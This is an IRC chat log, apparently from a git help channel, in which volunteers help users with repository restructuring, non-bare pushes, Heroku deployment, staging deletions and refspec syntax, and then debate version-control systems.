	→ project2501a joined	15:49
	← jailbox left	15:50
xiong	Pieter, That's difficult to search for; Google thinks I want links about git.	15:50
Pieter	grep for it in the git documentation perhaps?	15:51
	← rettub left	15:51
xiong	I'm forced to admit that I'm less than expert at grep. But I'll try harder.	15:51
Pieter	I'm not sure it's called gitlink anyway	15:52
	:)	15:52
	xiong runs screaming from the Bundestag waving a lit Molotov cocktail	15:53
	← S1kx left	15:53
	→ S1kx joined	15:53
	← nickrw left	15:53
	→ rettub joined	15:54
	← project2501b left	15:55
	→ r11t joined	15:57
charon	xiong: see read_gitfile_gently() in <HEAD:setup.c>	15:58
Gitbot	[git setup.c]: http://tinyurl.com/yjvq7pp [blob]	15:58
	xiong looks	15:59
charon	at a glance, it seems you can make .git a regular file containing 'gitdir: $path' and it will look in $path instead	15:59
	b44ebb1	16:00
Gitbot	[git b44ebb1]: http://tinyurl.com/ygm2mng -- Add platform-independent .git "symlink"	16:00
	charon hands Gitbot a cookie	16:00
	← Axius_ left	16:01
	→ Axius joined	16:01
xiong	charon, I know I'm admitting ignorance, possibly even noobiness, but I can't make heads or tails of that. I'm not sure how my current task relates to symlinks at all. It's just that I originally created my repo below where I want it to be; I want to move the repo up to its current parent.	16:02
	← project2501a left	16:02
xiong	Ah! I see now. I don't move the current repo. I create a new repo in the parent and pull from the existing. Yes?	16:05
	→ \|Rolenun\| joined	16:05
	→ kukks joined	16:06
	→ madewokherd joined	16:06
	→ Akufen joined	16:07
	→ Aku joined	16:07
	← Akufen left	16:08
	← Aku left	16:08
	→ Akufen joined	16:10
	Ilari temporarily revokes his pubkey from local gits:// server...	16:10
jast	xiong: that won't fix the structure of the snapshots in the history for you. you want to start tracking changes in the parent directory too, right?	16:12
	← Rolenun left	16:12
	→ Axius_ joined	16:13
	← Axius left	16:14
xiong	jast, Yes. I didn't understand .gitignore, so I needlessly complicated my entire project folder structure to avoid tracking some items.	16:14
	I have created a new repo in the parent. Now I plan to pull from the old repo.	16:15
	→ jfkw joined	16:16
jast	as I said, that will not do what you think it does	16:17
	it will simply pull all the files from the subdir into the main dir	16:18
xiong	This will not work at all; you're right.	16:18
	← EricInBNE left	16:18
jast	you'll want to use git filter-branch first, but I can only make random guesses about how exactly to filter it	16:19
xiong	Hmm. Since git doesn't care where it is, relative to the file system root, would it be reasonable simply to move the current repo up to where I want it to be, and move other folders down into it?	16:19
	→ Chaser_ joined	16:20
	→ Axius joined	16:21
jast	if that ends up being a suitable structure for you, you can do that. at any rate, everything that is in the repo's history right now has to be in exactly the same position relative to the .git dir as before, otherwise you're setting yourself up for annoyances.	16:21
	← becomingGuru left	16:21
	← jefferai left	16:22
	← lfranchi left	16:22
	→ samcarter joined	16:23
divVerent	is it possible to just ATTEMPT a git-revert but not write any changes?	16:24
xiong	jast, I'm starting to think that I should just admit that I've done a noob thing, backed my pickup into a narrow alley, and start over. It's not too late. I'll consider this a learning experience.	16:24
divVerent	(basically, I want to use git-bisect to find the latest revision from which I can revert a given hash without conflicts)	16:24
	← gebi_ left	16:24
divVerent	(as I possibly want to revert that commit too then, basically)	16:24
jast	divVerent: git revert -n performs the reverse changes in the working tree/index but does not commit them, so you can undo them with a simple git reset --hard (provided that you don't have any other uncommitted changes lying around)	16:25
	← ilteris_ left	16:25
charon	xiong: i don't understand what you want to do... i merely looked up what i thought Pieter meant.	16:25
divVerent	jast: am I allowed to do that from within a git-bisect command?	16:25
jast	xiong: if you don't have any exciting history yet, that might indeed be the simplest way to go	16:25
	divVerent: I don't see why not	16:25
divVerent	well, it changes the working tree	16:25
charon	xiong: do you simply mean you created a repo in a/b/ and want a/* to be part of it, too? (i.e., the current contents go under b/)	16:26
divVerent	so doing that is allowed from within bisect	16:26
jast	and then undoes those changes :)	16:26
divVerent	and... what if conflicts happen?	16:26
	git-revert then tries to go interactive	16:26
	obviously I don't want that here	16:26
	oh wait, sorry, that was wrong	16:27
jast	yeah, I was a bit confused there :)	16:28
	→ ronron2 joined	16:29
ronron2	hi	16:29
	I use git + ssh	16:29
offby1	hi!	16:29
	I use Emacs and Linux.	16:29
	offby1 shakes ronron2's hand, slaps him on the back, and offers him a sandwich	16:29
xiong	charon, My current structure is ~/projects/sfid/work/.git/ (where sfid is the project); that was dumb. I want to eliminate the work/ folder entirely, so the new structure will be ~/projects/sfid/.git/ and all stuff formerly under work/ will be directly under sfid/	16:29
ronron2	And I would like the 'author' is a user unix	16:30
divVerent	and I take it git-bisect shows the first buggy commit?	16:30
	okay, in that case I know what I wanted to know, but don't like it :P	16:30
charon	xiong: oh. but you have to understand that git only cares about the location of your files relative to the location of the .git	16:30
divVerent	it means a commit LOTS of stuff depends on depends on the one I want to revert	16:30
	so, reverting will be a chore	16:30
charon	xiong: so if you move sfid/work/* to sfid/, git will see that the files are still in the same place relatively	16:31
xiong	I think I can do this in two steps: (1) Move all the stuff currently in sfid/ to sfid/work/; then (2) shuffle work/ up to sfid/	16:31
charon	xiong: where by * i mean "everything". do note that the shells usually expand * to exclude the .git	16:31
offby1	charon: they do?	16:31
charon	offby1: at least bash excludes dot-files in *	16:31
	unless you shopt -o dotglob	16:31
	or some such	16:31
offby1	yes.	16:31
	when I want _everything_, I use "find . -mindepth 1 -maxdepth 1"	16:32
	pretty verbose, I know	16:32
xiong	I'll watch to see all the dotfiles/dotfolders move	16:32
	← Axius_ left	16:32
	→ keseldude joined	16:33
	\|Rolenun\| → Rolenun	16:36
	→ sagsousuke joined	16:37
ronron2	I looking for change author commit, there a documents	16:37
	?.	16:37
	→ yziquel joined	16:37
divVerent	hm... doing this using bisect is still not easy...	16:37
	what is the easiest way to revert a change, and all dependent changes, in the past?	16:37
charon	ronron2: look for user.{email,name} in man git-config	16:37
divVerent	sounds somewhat similar to rebase	16:37
Gitbot	ronron2: the git-config manpage can be found at http://git.or.cz/man/git-config	16:37
divVerent	as in, I want to leave out that commit, then apply all that apply cleanly, and skip all that don't	16:37
ronron2	ok Gitbot :)	16:38
divVerent	(and DON'T want to get tossed into a merge tool)	16:38
Alagar	good morning all	16:38
	any one can help me?	16:38
	i need to migrate SVN to git. is any manuals for that?	16:38
	→ Tureba joined	16:39
keseldude	Hi, I'm having a hard time figuring out the Right Way to deal with settings and "experimental" files in a project in a git repository: Using .gitignore seems to remove untracked files in certain situations, so is it best to create a branch called "private" and put settings and private stuff there, and then merge (or rebase?) private with master when you want to run the project locally?	16:39
ronron2	charon the User.email,name on the serveur Is ok	16:39
offby1	Alagar: read the man page for git-svn	16:39
RobertLaptop	I am not sure how to do something. I have really diverged from a master repo most of it is formating I copied my master to a new branch to be safe but I would like to pull a fresh copy from the master and only apply need changes in a since start over how do I tell GIT to replace not merge my current branch with what is on a remote repo?	16:39
charon	ronron2: it's not about the server. the author/committer info is determined at 'git commit' time	16:39
offby1	Alagar: I suspect there might be other ways to migrate, and git-svn is pretty slow, but on the other hand, I use it literally every day and trust it	16:39
ronron2	charon: I have a user who is Tralala, I don't know	16:41
	→ iamcalledrob joined	16:42
	← Alagar left	16:43
iamcalledrob	I'm using git to deploy a site (heroku), and when I push to the heroku repos, I seem to be pushing an old version of my code. I'm getting errors from files that don't exist anymore. The process I'm going through is "git add .; git commit -m "foo"; git push heroku master". Am I doing something wrong?	16:43
	→ rgr joined	16:44
charon	ronron2: he needs to set user.{email,name} correctly in his ~/.gitconfig (see man gittutorial!). as for fixing later, you can use git-filter-branch but it's probably a mess if you're collaborating.	16:44
Gitbot	ronron2: the gittutorial manpage can be found at http://git.or.cz/man/gittutorial	16:44
tetha	iamcalledrob: you are aware that pushing into a non-bare repo does not touch the working copy?	16:44
xiong	How do I make .gitignore ignore symlinks?	16:45
iamcalledrob	tetha: what is a "non-bare" repo?	16:46
	→ Alagar joined	16:46
tetha	iamcalledrob: a repo that is not bare? look at git init's parameters	16:47
	→ \|Rolenun\| joined	16:48
iamcalledrob	tetha: I've looked at them, but I don't really understand	16:50
offby1	iamcalledrob: it's kinda subtle. You should try an experiment locally to see it in action:	16:50
	create a regular repository, put some stuff in it; clone it; make changes to the clone; push from the clone back to the original.	16:50
	You'll see that the original's working tree doesn't change, but its repository does.	16:50
	→ gebi joined	16:51
iamcalledrob	offby1: that makes sense	16:51
offby1	But git figures that the working tree indeed changed	16:51
	so 'git status' shows a bunch of changes	16:51
iamcalledrob	yep	16:51
offby1	and if you were to commit those changes, you'd in effect undo the commit(s) that you pushed.	16:51
	anyway, this is why pushing to a non-bare repository is bad: it's confusing.	16:51
iamcalledrob	this is helpful, thanks	16:52
offby1	(at least, it's why _I_ avoid doing it)	16:52
iamcalledrob	in this case, all I need to do is push my working copy to heroku master	16:52
	I mean, the files that are sitting on my filesystem	16:52
RobertLaptop	offby1 would you know how I could replace my master with a remote master. Not merge but replace?	16:54
	← Paraselene_ left	16:54
	→ Paraselene_ joined	16:54
RobertLaptop	offby Without touching the rest of my branches?	16:54
offby1	RobertLaptop: I probably can figure it out, but I'll explain it wrong the first two times I try :)	16:55
	← Rolenun left	16:55
offby1	RobertLaptop: the first thing that comes to mind is: delete all the files in your branch, then simply copy master's files on top, then commit. This won't create a merge commit, but it might suffice anyway.	16:55
	worth a try.	16:55
RobertLaptop	Yea. That might work.	16:56
offby1	it's risk-free, since if you don't like the result, you can just reset the branch back.	16:56
	And if you really wanted a merge: there's an option to "merge" that says something like "let the other side always win", or maybe it's "let this side always win". You could try that.	16:56
RobertLaptop	It so simple even I could figure out how to do it :)	16:57
offby1	git merge --strategy=ours, I think	16:57
	again, no risk in just trying it out	16:57
	note that I've never done either of these things myself	16:57
	← ramlev left	16:57
offby1	I just play one on TV, etc.	16:57
	← daifuku left	16:57
RobertLaptop	offby1 I don't think that will work since the is a diverged repo. So they started out the same but my editor reformatted all the white spaces and it is making merges a pain.	16:58
	→ funkytaco joined	16:59
	→ daifuku joined	16:59
offby1	I'd try it anyway.	16:59
	I suspect that if the --strategy=ours, the merges will all be easy	17:00
	at least, that's my understanding of what that "strategy" is	17:00
RobertLaptop	Yea but sometimes I don't want that so unless it goes though and wipes all my formating changes I can only use it once but I will try that.	17:01
	← khmarbaise left	17:02
RobertLaptop	offby1 just so you know. git merge --strategy=ours wgm/master Already up-to-date.	17:02
offby1	yes, this idea of mine is only meant to be used once	17:02
	pff	17:03
	someday I should try this myself.	17:03
	→ khmarbaise joined	17:03
iamcalledrob	offby1: I'm still stuck.. I don't understand why when I git add, git commit, and git push to my remote repos, the remote repos stays out of date with what I've got on my machine.	17:05
RobertLaptop	offby1 But the idea of a full file replace makes since to me	17:06
	→ Zephyrus__ joined	17:06
	← Zephyrus left	17:06
	Zephyrus__ → Zephyrus	17:07
	→ jefferai joined	17:07
	← jefferai left	17:07
offby1	iamcalledrob: are you sure it's the remote _repository_ that's out of date, and not just the remote _working tree_? Those are two different things.	17:09
	If it's the latter, then git is working exactly as I expect; if the former, then there's some confusion that needs to be cleared up	17:10
	offby1 readies a mop and bucket for the clearing up	17:10
iamcalledrob	offby1: well, I don't know. I'm the only person who's used this repository, and all I've ever done is to push my working copy to it	17:10
	→ godsflaw joined	17:10
	→ scarabx joined	17:11
offby1	iamcalledrob: doesn't matter	17:11
iamcalledrob	offby1: I think there's some crucial concept I'm not understanding here	17:12
offby1	could be	17:12
	like I say, try it out with two repositories that are both local; that way you can watch all the gears turning	17:12
	→ rseifert joined	17:12
offby1	I'll try to simplify it: your average directory has a working tree -- the files you can see with "ls" -- _plus_ a .git directory. That .git directory holds the same information as those files (and more besides), but encoded in a way that makes it impossible to "see" with "ls". When you "push" to this, _only_ the stuff under .git changes. The actual files languish.	17:14
iamcalledrob	okay, that makes sense so far	17:14
offby1	When people (e.g.) have a web server serve up files from a git wc, they often forget this, and wonder why updating the repository via "push" seems to have no effect	17:14
	I suspect you're in the same situation.	17:15
charon	there's also faq non-bare on this topic.	17:15
Gitbot	charon: Pushing to non-bare repositories is discouraged. See http://git.or.cz/gitwiki/GitFaq#non-bare	17:15
	iamcalledrob reads that	17:15
	← imajes left	17:16
	← Alagar left	17:16
	→ imajes joined	17:16
offby1	ayup	17:16
	good ol' gitbot	17:17
iamcalledrob	okay, I've read that	17:17
	but I'm not sure where I go from here	17:18
funkytaco	anyone know the command to update env variables in OSX profile without logging out?	17:18
jast	I've got my own article describing the same thing, by the way: http://bare-vs-nonbare.gitrecipes.de/	17:18
offby1	heh	17:18
RobertLaptop	How I manage a webserver using git. 1) create a bare repo. 2) create a clone in the folder I want. 3) add a post-recieve script to pull changes after commit.	17:18
offby1	RobertLaptop: sounds reasonable.	17:18
	so the post-recieve script lives in the bare repository, but updates the clone, right?	17:18
jast	sounds like overhead ;)	17:19
RobertLaptop	offby1 Yes.	17:19
iamcalledrob	could anyone tell me how I can go about making my remote repos reflect what I have on my system here?	17:20
RobertLaptop	I actually use ssh to run scripts on serveral remote systems to update my entire cluster with one push.	17:20
	→ munichlinux joined	17:21
jast	iamcalledrob: does my link help? ;)	17:21
RobertLaptop	iamcalledrob git push remoterepo(Genereally origin)	17:22
jast	we already got that far :)	17:22
	you missed the meat of the discussion	17:22
iamcalledrob	jast: i've read it, and I think I (vaguely) understand why it's not working, but I'm not sure how to do things the correct wayu	17:22
	way*	17:22
	← godsflaw left	17:23
jast	my page lists a few solutions, most centering around installing a hook script	17:23
	→ Yuuhi joined	17:23
jast	the main question is: are you going to change files in the working tree on the remote machine?	17:24
	I mean manually	17:24
RobertLaptop	jast as for the overhead question I don't because there is much since you will still need a post-receive script to pull out changes pushed to a none bare repo.	17:24
iamcalledrob	jast: all I want is so that when I browse my remote repos (in this case, it's hosted by projectlocker and I browse via trac), it shows the most up to date files	17:24
jast	iamcalledrob: trac's browser should show the up-to-date files anyway. I suspect you've actually got a different problem than we all assumed.	17:25
iamcalledrob	aha	17:25
jast	which branch(es) did you push?	17:25
iamcalledrob	there's only a master branch for now	17:26
jast	right	17:26
	and when you pushed, git said something about updating the master branch on the remote?	17:26
iamcalledrob	so just to be clear, I've added, committed and pushed my "working tree (?)" - my files on this computer, using git push origin master, which pushes to projectlocker	17:26
	jast: that sounds about right	17:26
jast	and if you do another push it doesn't do anything, right?	17:26
	← flaguy48 left	17:27
iamcalledrob	yep	17:27
	it says "everything up-to-date"	17:27
jast	is the trac page publicly viewable?	17:27
iamcalledrob	I don't think so, let me see	17:27
offby1	iamcalledrob: yeah, I don't know how trac works. (I didn't even know it supported git, but then I haven't thought about it for years)	17:27
	← daifuku left	17:28
iamcalledrob	the real issue, though, is that when I push to heroku (git push heroku master), it seems to push the same old files	17:28
jast	there's a git plugin for trac	17:28
RobertLaptop	This might be a dump questions but I want to confirm you "commited" those changes before you pushed this out?	17:28
jast	he said he did :)	17:28
offby1	iamcalledrob: now, why do you say "it seems to push the same old files"? What are you seeing that suggests that?	17:28
	← rgr left	17:29
RobertLaptop	Just asking. Since I work with windows programmers I have had that happen.	17:29
	→ daifuku joined	17:29
offby1	at some point iamcalledrob is gonna have to paste a complete transcript, or else we'll just be going around in circles.	17:29
	that's my solution to everything: gimme a transcript	17:29
	→ rgr joined	17:29
iamcalledrob	offby1: well, in this case, I can see it's the old files because I'm getting an error relating to files which don't exist in my local copy, but do on my remote repos (and shouldn't)	17:30
RobertLaptop	offby1 by the way your idea of copying over the files worked great. I wish I had though of that. :)	17:30
jast	what is heroku anyway... another computer of yours?	17:31
iamcalledrob	jast: http://www.heroku.com/	17:31
	← vvsh left	17:31
offby1	iamcalledrob: that suggests to me that you're simply suffering from the problem I described above	17:33
	← funkytaco left	17:33
offby1	iamcalledrob: try logging in to the remote repository, and doing "git log". I predict you'll see the new commit. Then do "git status"; I predict you'll see a bunch of "changed" files.	17:34
	← gebi left	17:34
offby1	if I'm right in both cases, then "git reset --hard HEAD" will straighten things out, but that's not a good long-term solution	17:34
	RobertLaptop: sometimes brute force is the answer :)	17:34
	jast: sounds vaguely ruby-like :)	17:34
	→ tamir joined	17:35
iamcalledrob	excuse the ignorance, how would I go about logging in to my remote repository? what should i be looking at?	17:35
cbreak	logging in?	17:36
tamir	hi, I have a git-svn mirror and a clone of this mirror in which I work on a branch. Now I would like to rebase my topic branch onto the current svn master which has progressed	17:36
jast	many repository hosting companies won't allow you to do that	17:36
	→ ilteris_ joined	17:36
iamcalledrob	I'm hosting my repos with projectlocker.com	17:36
cbreak	repositories are just a bunch of files, not something you can log in to	17:36
tamir	should I do this in the svn master or in the clone and how do I synchronize the change afterwards.	17:36
	?	17:36
	→ patcito joined	17:37
offby1	iamcalledrob: ah, they might not provide shell access.	17:37
	iamcalledrob: I'd have suggested "ssh the-remote-server.com", but it might not work in your case.	17:37
iamcalledrob	I can't see any mention of it on their site	17:37
offby1	Depends on how they've got stuff set up.	17:37
jast	tamir: three way synchronizing changes between a clone of a git-svn mirror, the git-svn mirror and the svn repository is usually tricky business. I suppose your best best is to git svn rebase the git-svn mirror, then pull --rebase in your clone	17:37
offby1	iamcalledrob: on the other hand, if they provide git hosting, they must (obviously) have a way for you to update your files :)	17:37
jast	probably limited ssh access as usual	17:38
iamcalledrob	I might just sign up with github	17:38
	→ flaguy48 joined	17:38
	→ tedoc2000 joined	17:38
offby1	github is great, if I may say so.	17:38
jast	the weird part is that this heroku thing does weird stuff	17:38
offby1	but don't abandon projectlocker just yet	17:38
iamcalledrob	if I said I don't care about any previous commits	17:39
offby1	iamcalledrob: I suspect that, whatever your problem really is, the cure is simple.	17:39
iamcalledrob	and I'd be happy to just destroy my repos, and create a new one with the files on disk here, would that work?	17:39
	→ gebi joined	17:39
jast	I don't think we can answer that question for sure before figuring out what the problem is	17:40
	→ funkytaco joined	17:40
	→ lfranchi joined	17:40
	→ jefferai joined	17:40
	→ gebi_ joined	17:40
iamcalledrob	okay, so where should I go from here?	17:40
offby1	iamcalledrob: that might work OK if you somehow screwed up when you created your original repository, and got the second one right; but if not, then it's probably a waste of time.	17:40
	← lfranchi left	17:40
	← jefferai left	17:40
	→ jefferai joined	17:41
	→ lfranchi joined	17:41
offby1	iamcalledrob: I really don't know. I don't fully understand your problem (although I think I understand its _symptoms_); I don't know how projectlocker works	17:41
	I wouldn't be terribly surprised if you're like the first person to ever use projectlocker's git support, and have simply found a dumb bug	17:41
iamcalledrob	hmm	17:42
	so if I wanted to push the files that are sitting on my disk to heroku master, how would I do that?	17:42
	← Husio left	17:42
iamcalledrob	because when I do that, I'm actually pushing outdated stuff	17:42
offby1	git add . ; git commit -m "whatever"; git push master origin	17:42
jast	I still think if heroku does unexpected things, too, we shouldn't prematurely blame projectlocker	17:43
offby1	assuming that your branch is "master", and your remote is "origin"	17:43
	offby1 dunno what heroku is either	17:43
iamcalledrob	offby1: that pushes out of date code, I don't understand	17:43
offby1	iamcalledrob: well, at this point, without a complete transcript, I have to give up	17:43
jast	it's a ruby cloud computing whatever thing that you deploy to using git	17:43
iamcalledrob	heroku is a ruby hosting service, where the deployment is all via git	17:43
	← daifuku left	17:43
	→ _Vi joined	17:44
jast	have you looked at your local master branch's history to check if it's correct, perhaps using gitk or tig or something like that?	17:45
	→ daifuku joined	17:45
iamcalledrob	hmm, I could	17:45
	what's a good app for OS X?	17:45
	...gitx, apparently	17:46
jast	tig works on anything. it's curses-based. :)	17:46
offby1	iamcalledrob: a co-worker uses gitx, and likes it very much	17:46
iamcalledrob	okay	17:48
	in my master branch, there are a whole load of "unstaged changes"	17:48
offby1	ah	17:49
	you didn't "git add" them, then	17:49
iamcalledrob	oh? I've always used git add . in the root of my project	17:49
RobertLaptop	offby1 wouldn't "git commit -a" all work?	17:49
	all=also	17:50
offby1	iamcalledrob: that should indeed work :-\| Unless you've "ignored" those files	17:50
	RobertLaptop: yep	17:50
RobertLaptop	I am lazzy. I use that instead of a bunch of git add xxxx	17:51
	→ kumbayo joined	17:51
iamcalledrob	offby1: it's not working, they still show as unstaged changes	17:51
	→ archis joined	17:51
RobertLaptop	git add gives you more control.	17:51
iamcalledrob	I seem to be able to fix it in GitX by right clicking on them and pressing "Stage Changes"	17:51
	but i'm not sure why or what that does	17:51
	→ JackWinter joined	17:52
offby1	iamcalledrob: transcript, please :-\|	17:52
RobertLaptop	iamcalledrob if I remember right it is the same as "git add /folder/filename"	17:52
	← imajes left	17:53
RobertLaptop	although to be honest I use git commit -a and see what files it says are changed and what are untracked myself.	17:53
	offby1 uses C-x v d	17:54
offby1	an Emacs command :)	17:54
	→ rgr_ joined	17:54
	→ ramlev joined	17:54
Tass`	C-x M-c M-butterfly ?	17:55
	\|Rolenun\| → Rolenun	17:55
	← rgr left	17:55
iamcalledrob	okay, getting transcript	17:55
	→ ange_ joined	17:55
	← daifuku left	17:56
	← ange left	17:56
	ange_ → ange	17:56
diegoviola	what is the equivalent of svn externals in git?	17:56
	→ daifuku joined	17:57
Ilari	diegoviola: Submodules?	17:58
iamcalledrob	here's the transcript of what I've been doing: http://gist.github.com/273650	17:58
	→ imajes joined	17:58
offby1	iamcalledrob: thanks, hold on	17:58
	← scarabx left	17:58
offby1	iamcalledrob: ah, sorry, my fault.	17:58
	"git add" doesn't take care of deletions :-\|	17:58
	try "git commit -a"	17:59
	might work, might not	17:59
	won't hurt though	17:59
	... and now that I think about it, the advice in the output of the "git commit" message is misleading: it says 'use "git add"', which obviously hasn't helped you any	17:59
iamcalledrob	hooray! LD	17:59
	:D	18:00
offby1	whew	18:00
	glad it worked	18:00
	iamcalledrob: OK, now read "Git For Computer Scientists". I'm serious; it's the best thing I know for understanding git's innards ... which (in my experience) is crucial to using git effectively	18:00
RobertLaptop	git commit -a also shows you untracked files that really helps in adding missing files as well that you forgot to add.	18:00
offby1	I just use "git status" a lot	18:00
	→ kipras joined	18:00
offby1	same thing, more or less	18:00
iamcalledrob	offby1: okay, I will do :)	18:00
	→ nickrw joined	18:02
	← fcuk112 left	18:02
	← funkytaco left	18:04
	→ coolcat joined	18:05
	→ Pata[afk] joined	18:06
	← gebi left	18:06
	← gebi_ left	18:06
	→ gebi joined	18:06
Pata[afk]	Hey, I have a codebase I'd like to use Git with. It's about 400mb and I already have a (nearly identical) copy both locally and remote. I 'git init' in both, then 'git remote add' to add the remote as 'origin'. If I do a 'pull' not it wants to download everything, is there a way to avoid it?	18:07
	→ mathrick joined	18:07
	Pata[afk] → Pata	18:07
mathrick	hi, I have the following situation: commit A, merge from upstream, commit A1 which is just a small typo that should've been in A to begin with. What rebase command do I need to squash A1 into A now?	18:08
diegoviola	Ilari: thanks	18:09
	→ [1]awnstudio joined	18:09
diegoviola	nice, kde is finally moving to git: http://aseigo.blogspot.com/2010/01/key-quest-git.html	18:09
	← archis left	18:10
	→ jailbox joined	18:11
	→ smuf joined	18:12
mathrick	anyone?	18:14
	Ilari uploads security fix for git-daemon2. :-(	18:14
	← tamir left	18:14
Ilari	mathrick: No easy way without first undoing the merge from upstream.	18:15
mathrick	okay, I can do that	18:15
	← nickrw left	18:15
mathrick	what's the incantation?:	18:15
	s/://	18:15
	→ catalis joined	18:15
Ilari	mathrick: Reset --merge presumably.	18:17
Pata	Any ideas for 'cloning' whilst already having the files?	18:17
RobertLaptop	Pata are the to nearly identical copy on peoples workstations?	18:17
Pata	yeah virtually identical	18:17
wereHamster	files already in git or in the filesystem?	18:17
Pata	I can make them identical if need be	18:17
	How so? Theyre on the filesystem, but I've turned them both into a git repos in my attempts	18:18
Ilari	Pata: Having the files already will not help cloning. Only having commits locally would.	18:18
	→ jimi_hendrix joined	18:18
Pata	They are both brand new to git	18:18
mathrick	Ilari: I don't seem to have --merge available, will just specifying the last commit before the merge work?	18:18
Pata	the only commit is "initial commit"	18:18
	← kumbayo left	18:18
jimi_hendrix	when i do git branch <some-branch-name>, is the branch made then, or do i need to commit and push to a server to have the branch appear there	18:18
Ilari	mathrick: Then use --reset (but its dangerous).	18:18
	mathrick: *--hard	18:18
	jimi_hendrix: Branches can't be committed.	18:19
RobertLaptop	Pata I am just tiring to get a fell for your workflow is sounds like you need a remote repo they both can push and pull to?	18:19
mathrick	Ilari: ok, I'll make a copy then	18:19
Ilari	jimi_hendrix: And git branch creates a branch.	18:19
jimi_hendrix	Ilari, ok	18:19
Pata	I wasn't using a bare repos here (because I'm limited on disk space) so I was going for just pushing and pulling between the two	18:19
Ilari	jimi_hendrix: You can push the branch to make it appear in another repo.	18:19
Pata	Up till now I've made changes then used FTP to sync them, but I'd like to use Git	18:19
jimi_hendrix	Ilari, so if i am using github, and i do git branch...., the branch will show up there shortly without me doing anything else?	18:20
Pata	(fyi I'm faily new to git, but am capable of using and setting up 'easy' setups!)	18:20
Ilari	Pata: If you push between to non-bare repos, you should configure push-to-HEAD to be forbidden (needs 1.6.6) and add push line for remote.	18:20
RobertLaptop	Pata is one copy basicly a backup or is it something like webfiles were they are used?	18:20
jimi_hendrix	Ilari, nvm, i got it	18:20
Ilari	jimi_hendrix: git branch is local only.	18:20
Pata	RobertLaptop It's my local working copy, so sometimes I make changes over SSH and sometimes I work locally then upload them	18:21
jimi_hendrix	ty	18:21
	← jimi_hendrix left	18:21
Pata	Ilari I will ahve a look at that now, thanks!	18:21
	← imajes left	18:21
	← Chaser_ left	18:21
Pata	hm I have 1.6.2 remotly, is that a problem?	18:21
	I need 1.6.6 on both?	18:22
Ilari	Pata: You should have 1.6.6 on receiving end if you push to non-bare repos.	18:22
Pata	Hm ok, so having 1.6.2 would mean I either need to upgrade or use a bare?	18:23
Ilari	Pata: The usual value for push in such setup is something like 'push = refs/heads/:refs/remotes/foo/' (replace foo with what's suitable).	18:23
	← jtdouy left	18:23
Pata	I'm not sure I understand git enough for that to make much sense to me	18:23
Ilari	Pata: Using 1.6.2 would mean that if you or someone accidentially did push-to-HEAD, it would screw things.	18:23
	Pata: That sets default what to push for remote. And it means: push all local branches as remote tracking branches foo/...	18:24
Pata	Would I look like a fool if I asked if heads = branches? :S	18:25
Ilari	Pata: refs/heads/ is namespace of local branches.	18:25
	Pata: heads is apparently some obsolete term that's still there due to compatiblity.	18:26
	→ jwoods_ joined	18:26
Pata	Is there a website/book/wiki to read that explains all the terminology? I find the offical docs very hard to understand because I don't know a lot of the terms.	18:27
	→ scarabx joined	18:27
offby1	Pata: I'll give you my stock answer to almost every question: read "Git For Computer Scientists"	18:28
	that covers some of the more important terminology, but probably not all	18:28
Pata	thanks offby1, I'll have a look.	18:28
	← awnstudio left	18:28
	[1]awnstudio → awnstudio	18:28
	→ Chaser_ joined	18:29
	offby1 votes to just put that advice into the /topic	18:29
mathrick	okay now, what does that mean?	18:29
	mathrick@hatsumi:~/Dev/Lisp/lib/cl-gtk2$ git push [email@hidden.address]	18:29
	To [email@hidden.address]	18:29
	! [rejected] master -> master (non-fast forward)	18:29
offby1	faq non-fast forward	18:29
	offby1 drums fingers	18:29
offby1	mathrick: try "git pull" first	18:30
mathrick	from that branch?	18:30
offby1	yep	18:30
	← corni left	18:31
mathrick	offby1: same thing	18:31
offby1	hm	18:31
	git "git pull" do anything?	18:31
mathrick	* branch HEAD -> FETCH_HEAD	18:31
	Already up-to-date.	18:31
offby1	mathrick: try "git checkout master; git pull"	18:31
	in which case your push probably won't push what you want	18:31
mathrick	oh, I see	18:31
offby1	:-(	18:31
mathrick	offby1: I'm actually trying to push another branch	18:32
offby1	I think I need to cite "Git For Computer Scientists" for the third time in five minutes :)	18:32
	→ Frt joined	18:32
mathrick	why doesn't it push the current branch?	18:32
offby1	I think you have to set some config option to get it to do that.	18:32
	→ vvsh joined	18:32
mathrick	gah	18:32
	→ bbttxu joined	18:32
	Frt → Guest16323	18:32
	← ramlev left	18:34
RobertLaptop	mathrick to push branch xxx to remote master you would do "git push origin xxx:refs/heads/master"	18:34
	← zoniq left	18:34
mathrick	aye, I figured that out once offby1 hinted me	18:35
	← rseifert left	18:37
offby1	mathrick: I'm impressed. It took me ages to figure out that "refspec" syntax.	18:37
mathrick	offby1: I was fighting with it a bit earlier trying to get it to merge	18:38
	but I still want my bzr back :(	18:38
	→ aspotashev joined	18:38
	← catalis left	18:38
	→ riz2 joined	18:40
offby1	gasp	18:40
	why, that's heresy in this channel	18:40
	mathrick: hacking emacs by any chance?	18:40
mathrick	offby1: no, CL-GTK2 bindings	18:41
	which are upstream git, which is why I'm using git in the first place	18:41
offby1	ah, those sound good too	18:41
mathrick	yeah, they're nifty	18:41
offby1	someday I hope the revision-control wars end, and we all settle on one good system.	18:41
	competition is nice and all, but ... it's confusing having so many different ones :-\|	18:41
riz2	problem is, these days it's looking more and more like that might be git :(	18:42
mathrick	yeah :(	18:42
	git is too much like arch	18:42
	it was good in theory, but in practice, God help you if you weren't Tom Lords	18:42
AAA_awright	Is that a bad thing?	18:43
mathrick	I was somewhat of an early adopter, which taught me several things: DVCS are a good idea; arch is not a good implementation of it; wait until something better comes	18:43
	AAA_awright: yes	18:43
	under arch I'd routinely wedge my repos into "you need to start anew" state, and would spend ~50% time helping others on my team with basic VCS tasks	18:44
	← daifuku left	18:44
mathrick	bzr is the exact opposite, it just DWIM	18:45
	git is a sad throwback to the arch days	18:45
offby1	heh, I often got similar wedgitude with svn	18:45
	→ daifuku joined	18:45
AAA_awright	("how are you supposed to tag a release?!?")	18:45
mathrick	oh yes, SVN is pretty bad overall if you can use something else	18:45
	it's better than CVS, but that's it	18:45
	→ munichpython joined	18:46
AAA_awright	Heh, at least CVS has real tags and branches	18:46
	← munichlinux left	18:46
mathrick	yes, with global scope	18:46
	that was... not a good idea	18:46
	munichpython → munichlinux	18:46
	→ tobias__ joined	18:47
	→ deschet joined	18:47
	→ catalis joined	18:48
	← Axius left	18:48
bremner	mathrick: well, ask the emacs people how happy they are with bzr	18:48
mathrick	I'm not saying it's ideal	18:48
	but the UI is vastly superior	18:49
bremner	maybe, but taking forever is also a UI issue	18:49
	→ Axius joined	18:49
bremner	anyway, if it works for particular projects great.	18:50
	← r11t left	18:51
	← khmarbaise left	18:51
	→ froschi joined	18:51
